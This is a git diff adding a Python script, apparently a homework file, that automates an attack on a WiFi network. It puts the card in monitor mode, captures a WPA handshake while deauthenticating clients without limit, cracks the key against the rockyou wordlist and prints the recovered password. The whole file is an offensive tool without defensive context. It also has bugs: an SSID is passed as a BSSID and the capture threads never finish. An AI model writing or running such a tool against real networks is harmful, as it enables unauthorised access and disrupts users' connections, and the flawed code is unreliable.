diff --git a/hw7/gpt4/app.py b/hw7/gpt4/app.py
index e69de29..dfaabce 100644
--- a/hw7/gpt4/app.py
+++ b/hw7/gpt4/app.py
@@ -0,0 +1,79 @@
+import subprocess
+import threading
+import time
+
+def run_command(command):
+    """Run a shell command with sudo and return the output."""
+    result = subprocess.run(['sudo'] + command, capture_output=True, text=True)
+    return result.stdout
+
+def change_to_monitor_mode(interface):
+    """Change the WiFi interface to monitor mode."""
+    run_command(['airmon-ng', 'start', interface])
+
+def change_to_managed_mode(interface):
+    """Change the WiFi interface back to managed mode."""
+    run_command(['airmon-ng', 'stop', interface])
+    run_command(['service', 'network-manager', 'start'])
+
+def get_wifi_interfaces():
+    """Get a list of WiFi interfaces."""
+    result = run_command(['iwconfig'])
+    interfaces = []
+    for line in result.split('\n'):
+        if 'IEEE 802.11' in line:
+            interfaces.append(line.split()[0])
+    return interfaces
+
+def get_target_network(interface):
+    """Prompt the user for the target network SSID."""
+    ssid = input("Enter the SSID of the target network: ")
+    return ssid
+
+def capture_handshake(target_network, interface):
+    """Capture the handshake of the target network."""
+    run_command(['airodump-ng', '--bssid', target_network, '-w', 'capture', interface])
+
+def deauthenticate_clients(target_network, interface):
+    """Deauthenticate clients to capture handshake."""
+    run_command(['aireplay-ng', '--deauth', '0', '-a', target_network, interface])
+
+def crack_password(capture_file, wordlist):
+    """Crack the password using aircrack-ng and a wordlist."""
+    result = run_command(['aircrack-ng', '-w', wordlist, capture_file])
+    for line in result.split('\n'):
+        if 'KEY FOUND!' in line:
+            return line.split()[-1]
+    return None
+
+def main():
+    interfaces = get_wifi_interfaces()
+    if not interfaces:
+        print("No WiFi interfaces found.")
+        return
+
+    interface = interfaces[0]
+    change_to_monitor_mode(interface)
+
+    target_network = get_target_network(interface)
+
+    capture_thread = threading.Thread(target=capture_handshake, args=(target_network, interface))
+    deauth_thread = threading.Thread(target=deauthenticate_clients, args=(target_network, interface))
+
+    capture_thread.start()
+    time.sleep(5)  # Give some time for airodump-ng to start
+    deauth_thread.start()
+
+    capture_thread.join()
+    deauth_thread.join()
+
+    change_to_managed_mode(interface)
+
+    password = crack_password('capture-01.cap', '~/rockyou.txt')
+    if password:
+        print(f"The password for {target_network} is: {password}")
+    else:
+        print("Failed to crack the password.")
+
+if __name__ == "__main__":
+    main()